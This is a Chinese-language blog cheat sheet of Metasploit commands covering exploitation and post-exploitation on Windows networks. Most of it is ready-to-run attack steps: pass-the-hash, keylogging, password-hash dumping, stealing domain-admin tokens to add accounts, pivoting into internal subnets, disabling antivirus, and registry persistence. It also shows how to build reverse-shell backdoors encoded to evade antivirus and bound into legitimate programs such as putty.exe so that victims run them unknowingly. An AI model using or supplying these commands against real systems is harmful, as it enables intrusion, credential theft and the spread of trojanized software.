metasploit常用命令(持續更新...)

基础库文件(Libraris):提供了核心框架和一些基础功能的支持

模块(Modules):实现渗透测试功能的主体代码

插件(Plugins):将外部的集成工具集成到框架中

用户接口(Interface)和功能程序(Utilities):集成模块与插件的渗透测试功能 

模塊:EXploits(滲透攻擊模塊)

Post(後滲透模塊)

Payloads(攻擊載荷模塊)

Nops(空指令模塊) 

Encodes(編碼器模塊) 

接口:msfconsoele控制臺

msfcli命令行

msfgui圖形化

msfapi遠程調用接口

步驟:    1.service postgresql start #啓動服務

2.msfconsole 啓動窗口

3.info windows/exec //查看載荷信息

4.Shellcode msfpayload windows/exec CMD=dir C //导出成C语言数组的完整Shellcode。

5 msfvenom -p windows/exec CMD=dir R| ndisasm -u //查看shellcode匯編代碼

  •  自带网络服务的渗透攻击
    • NetBiosUDP137、138、TCP139,MS03-034 
    • SMB(服务器消息快)TCP445、NBT间接用TCP139接收数据,MS10-012、MS10-054 MSRPC(微软远程过程调用)TCP139、445,MS05-039、MS09-026
    •  MS08-067 RDP(远程桌面)TCP3389,MS12-020 
  •  微软网络服务的渗透攻击
    • IIS,MS08-062、MS09-053、MS10-040 MS SQL xp_cmdshell DNS,MS07-02
  •  第三方网络服务的渗透攻击
    • Apache Tomcat MYSQL 用Exploit利器mona.py绕过Windows 7下的DEP+ASLR安全组合。 经典案例漏洞,MS06-040,MS07-029,MS08-067、MS11-058、MS12-020 
 

 

後滲透攻擊

  • 当获取到一个meterpreter shell后可以执行更多的操作:获取屏幕截图:screenshot
    •   获取系统信息:sysinfo
      • 获取键盘记录:
      • meterpreter> ps #查看目标机器进程,假设发现explorer.exe的进程号为1668:
      • meterpreter> migrate 1668 #插入该进程
      • meterpreter> run post/windows/capture/keylog_recorder #运行键盘录模块,将击键记录保存到本地txt
      • cat /root/.msf3/loot/*.txt #查看结果
    • 获取系统账号密码:
        • meterpreter> run post/windows/gather/hashdump
        • meterpreter> use priv
    • 当获取到密码的hash之后无法破解出明文密码且无法直接使用hash 登陆,需要使用pass-the-hash 技术 :
        • msf> use windows/smb/psexec
        • set PAYLOAD windows/meterpreter/reverse_tcp
        • set LHOST 192.168.1.111
        • set LPORT 443
        • set RHOST 192.168.1.130
        • set SMBPass aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
        • exploit
    • 获取到系统权限后我们可以新建一个普通账号,然后使用此账号执行我们的后门

        • 在目标机器上执行:net uaer hacker pass /add
        • 本地生成一个后门程序:
        • msfpayload windows/meterpreter/reverse_tcp
        • LHOST=192.168.1.111 LPORT=443 X >payload.exe
        • 将payload.exe拷贝到目标机器然后使用新建立的账号执行本地执行端口监听,等待来自目标机器连接:
        • msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp
        • LHOST=192.168.1.111 LPORT=443
        • use priv
        • getsystem
        • getuid
        • 至此取得SYSTEM 权限 
    • 令牌模拟:当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限,之后登陆其他机器时不需要登陆密码。
        • meterpreter> ps # 查看目标机器进程,找出域控账户运行的进程ID,假如发现PID 为380
        • meterpreter> steal_token 380
        • 有时ps 命令列出的进程中可能不存在域控账户的进程,此时使用incognito 模块查看可用token:
        • meterpreter> use incognito
        • meterpreter> list_tokens –u #列出可用token,假如找到域控token
        • meterpreter> impersonate_token SNEAKS.IN\ihazdomainadmin
        • meterpreter> add_user hacker password –h 192.168.1.50 #在域控主机上添加账户
        • meterpreter> add_group_user “Domain Admins” hacker –h 192.168.1.50 #将账户添加至域管理员组 
    • 内网渗透:当取得同网段内一台主机的权限后可以进一步渗透网内其他主机:
        • meterpreter> run get_local_subnets #查看网段/子网
        • Local subnet: 192.168.33.0/255.255.255.0
        • meterpreter> background #转入后台运行
        • msf> route add 192.168.33.0 255.255.255.0 1 #本地添加路由信息
        • msf> route print #查看添加的信息
        • msf> use linux/samba/lsa_transnames_heap #准备向内网目标主机进攻
        • set payload linux/x86/shell/reverse_tcp
        • set LHOST 10.10.1.129 #此处为attacking 主机的外网IP
        • set LPORT 8080
        • set RHOST 192.168.33.132 #内网目标主机
        • exploit
        • 也可以使用自动式添加路由模块:
        • msf> load auto_add_route
        • msf> exploit
    •  metasploit腳本
        • 使用run scriptname 方式执行
        • ①vnc 脚本,获取远程机器vnc 界面控制
          • meterpreter> run vnc
          • meterpreter> run screen_unlock
      • ②进程迁移
          • 当攻击成功后将连接进程从不稳定进程(如使用浏览器溢出漏洞exp 进行攻击时浏览器可能会被目标关闭)迁移至稳定进程(explorer.exe),保持可连接。
          • 例子:
          • meterpreter> run post/windows/manage/migrate
          • (在64 位win7 中migrate需要管理员权限执行后门才能成功,而migrate 前后获取的权限是有差异的。)
      • ③关闭杀毒软件
          • meterpreter> run killav (这个脚本要小心使用,可能导致目标机器蓝屏死机。)
      • ④获取系统密码hash
          • meterpreter> run hashdump
          • (64 位win7 下需要管理员权限执行后门且先getsystem,然后使用run post/windows/gather/hashdump 来dump hash 成功率更高。而且如果要使用shell 添加系统账户的话win7 下得先:
          • run post/windows/escalate/bypassuac ,不然可能不会成功。)
      • ⑤获取系统流量数据
          • meterpreter> run packtrecorder –i 1
      • ⑥直捣黄龙
          • 可以干很多事情:获取密码,下载注册表,获取系统信息等
          • meterpreter> run scraper
      • ⑦持久保持
          • 当目标机器重启之后仍然可以控制
          • meterpreter> run persistence –X –i 50 –p 443 –r 192.168.1.111
          • -X 开机启动-i 连接超时时间–p 端口–rIP
          • 下次连接时:
          • msf> use multi/handler
          • set payload windows/meterpreter/reverse_tcp
          • set LPOST 443
          • set LHOST 192.168.1.111
          • exploit
          • (会在以下位置和注册表以随机文件名写入文件等信息,如:
          • C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs
          • C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe
          • HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP)
      • ⑧POST 整合模块
          • 可实现同时多个session 操作
          • 例子:获取hash
          • meterpreter> run post/windows/gather/hashdump
          • 其他还有很多,使用TAB 键补全看下就知道run post/
    • 升級command shell
          • msfconsole
          • msf> search ms08_067
          • msf> use windows/smb/ms08_067_netapi
          • set PAYLOAD windows/shell/reverse_tcp
          • set TARGET 3
          • setg LHOST 192.168.1.111
          • setg LPORT 8080
          • exploit –z #后台运行,如果此处未使用-z参数,后面可以按CTRL-Z 转到后台
          • sessions –u 1 #升级shell,必须前面使用setg 设定
          • sessions –i 2
    • 使用Railgun 操作windows APIs

 

          • meterpreter> irb
          • client.railgun.user32.MessageBoxA(o,”hello”,”world”,”MB_OK”)
          • 在目标机器上会弹出一个标题栏为world和内容为hello 的窗口
    • 使用msfpayload創建可執行後們:
          • msfpayload windows/shell_reverse_tcp 0 #查看选项
          • msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 X >
          • /var/www/payload1.exe
          • 然后本机监听端口
          • msf> use exploit/multi/handler
          • show options
          • set PAYLOAD windows/shell_reverse_tcp
          • set LHOST 192.168.1.111
          • set LPORT 31337
          • exploit
    •  msfencode編碼後門過殺軟:
          • msfencode –l #列出可用编码器
          • 例子:
          • msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 R
          • |msfencode –e x86/shikata_ga_nai –t exe > /var/www/payload2.exe
          • 使用R 参数作为raw 输出至管道,再经过msfencode 处理,最后导出。
    •  自定義可執行程序模板:
          • msfencode 默认使用data/templates/templates.exe(msf v4 在templates 目录下有针对不同平台的不同模板)作为可执行程序的模板,所以这里最好使用自定义模板,如:
          • wget http://download.sysinternals.com/Files/ProcessExplorer.zip
          • cd work
          • unzip ProcessExplorer.zip
          • cd ..
          • msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode
          • –t exe –x work/procexp.exe –o/var/www/pe_backdoor.exe –e x86/shikata_ga_nai –c 5
          • 在目标机器上运行,然后本地使用msfcli监听端口等待反弹连接:
          • msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.1.111
          • LPORT=8080 E
    • 猥瑣執行payload(生成木馬文件) 
          •  绑定payload 至一个可执行文件,让目标不知不觉间中招,以putty.exe 例:
          • msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode –t exe –x putty.exe -o /var/www/putty_backdoor.exe –e x86/shikata_ga_nai –k –c 5
          • 假如选择一个GUI界面的程序作为绑定目标并且不使用-k 选项,则目标执行此程序的时候不会弹出cmd窗口,-k 选项的作用是payload独立于模板软件的进程运行。

 .....持續更新中

posted @ 2018-11-17 21:17  TiAmo-ing  阅读(1875)  评论(0编辑  收藏  举报